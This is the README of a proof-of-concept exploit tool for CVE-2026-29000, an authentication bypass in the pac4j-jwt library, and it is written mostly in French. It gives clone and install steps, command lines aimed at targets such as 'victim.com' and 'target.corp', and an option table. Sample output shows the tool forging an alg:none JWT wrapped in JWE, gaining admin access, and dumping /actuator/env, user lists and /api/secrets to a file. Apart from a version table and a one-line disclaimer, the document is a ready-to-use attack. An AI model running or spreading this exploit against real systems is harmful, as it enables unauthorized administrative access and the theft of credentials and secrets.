
CVE-2026-29000 – Contournement d'authentification pac4j-jwt (CVSS 10.0). Forge d'admin en un clic via encapsulation JWE à clé publique. Fuite de configurations, utilisateurs, secrets. Keep-alive, proxy, JWKS personnalisé. Outil PoC d'exploitation à but éducatif.
CVE-2026-29000 - Forge d'administrateur en un clic via JWT alg:none + chiffrement JWE
Cet exploit arme CVE-2026-29000, une vulnérabilité critique de score CVSS 10.0 dans la bibliothèque pac4j-jwt. En extrayant la clé publique JWKS du serveur et en forgeant un jeton JWE chiffré avec alg: none, il parvient à un contournement complet de l'authentification et accorde les pleins privilèges d'administrateur en un seul clic.
alg:none, l'enveloppe avec la propre clé publique du serveur| Bibliothèque | Versions affectées | Versions corrigées |
|---|---|---|
| pac4j-jwt | < 5.1.5 | ≥ 5.1.5 |
| pac4j-jwt | 4.x < 4.5.8 | ≥ 4.5.8 |
| pac4j-jwt | 3.x < 3.18.6 | ≥ 3.18.6 |
[!] Avertissement : Cet outil est destiné exclusivement aux tests de sécurité autorisés et aux engagements red team.
git clone https://github.com/tc4dy/CVE-2026-29000-PoC-Exploit.git
cd CVE-2026-29000-PoC-Exploit
pip install -r requirements.txt
python exploit.py --help
requests>=2.31.0
urllib3>=2.0.0
pyjwt>=2.8.0
cryptography>=41.0.0
jwcrypto>=1.5.0
colorama>=0.4.6
Exploit basique en une seule exécution
python exploit.py --target https://victim.com:8443
Save Forged Token + Leak Data
bash
python exploit.py -t https://target.corp:9443 -o admin.jwe -l stolen.txt
Verbose Mode with Custom JWKS
bash
python exploit.py -t https://example.com:8080 --jwks /oauth/jwks.json -v
With Proxy and No Keep-Alive
bash
python exploit.py -t https://192.168.1.100:443 --proxy http://127.0.0.1:8080 --no-keep-alive
Custom Keep-Alive Interval
bash
python exploit.py -t https://victim.com:8443 --delay 10 --max-retries 5
SSL Verification Enabled
python exploit.py -t https://legit.com:8443 --ssl-verify
Argument Court Requis Par défaut Description --target -t Oui - URL cible (par ex., https://example.com:8443) --jwks -k Non détection automatique Chemin personnalisé du point de terminaison JWKS --output -o Non Aucun Enregistrer le jeton JWE forgé dans un fichier --leak -l Non leaked_TIMESTAMP.txt Enregistrer les données divulguées dans un fichier --verbose -v Non False Activer la sortie de débogage --proxy -p Non Aucun Proxy HTTP/HTTPS --user-agent -ua Non Mozilla/5.0... User-Agent personnalisé --no-keep-alive - Non False Désactiver le keep-alive de session --delay - Non 5.0 Intervalle de ping keep-alive (secondes) --max-retries - Non 3 Nombre maximal de tentatives par requête échouée --ssl-verify - Non False Vérifier les certificats SSL
$ python exploit.py -t https://10.10.10.100:8443 -o backdoor.jwe -l leak.txt
════════════════════════════════════════════════════════════════
CVE-2026-29000 - pac4j-jwt Authentication Bypass Exploit
The Educational One‑Click Admin Forge
CVSS 10.0 - CRITICAL
════════════════════════════════════════════════════════════════
[11:23:15] ÉTAPE 1 : Acquisition de la clé publique RSA depuis le JWKS [11:23:15] Sondage du point de terminaison JWKS... [11:23:16] JWKS trouvé à /realms/master/protocol/openid-connect/certs [11:23:16] Clé publique RSA extraite avec succès
[11:23:16] ÉTAPE 2 : Fabrication d'un JWT avec alg:none et chiffrement en JWE [11:23:16] Jeton JWE forgé (tronqué) : eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMjU2R0... [11:23:16] ✓ Jeton enregistré dans backdoor.jwe
[11:23:16] ÉTAPE 3 : Envoi du JWE forgé en tant que jeton Bearer [11:23:17] ✓ Authentification réussie ! Accès accordé à /api/users/me
[11:23:17] ÉTAPE 4 : Énumération des points de terminaison accessibles et révélation de données sensibles [11:23:18] ✓ Fuite : /actuator/env (statut 200) [11:23:18] ✓ Fuite : /api/users (statut 200) [11:23:18] ✓ Fuite : /api/secrets (statut 200) [11:23:18] ✓ Fuite : /config/server (statut 200) [11:23:18] ✓ 4 points de terminaison sensibles capturés → enregistrés dans leak.txt
[11:23:18] Session keep‑alive active (Ctrl+C pour arrêter) [11:23:18] Jeton (JWE) valide pendant ~1 heure – reforger s'il a expiré
Découvrez mes autres dépôts d'exploits :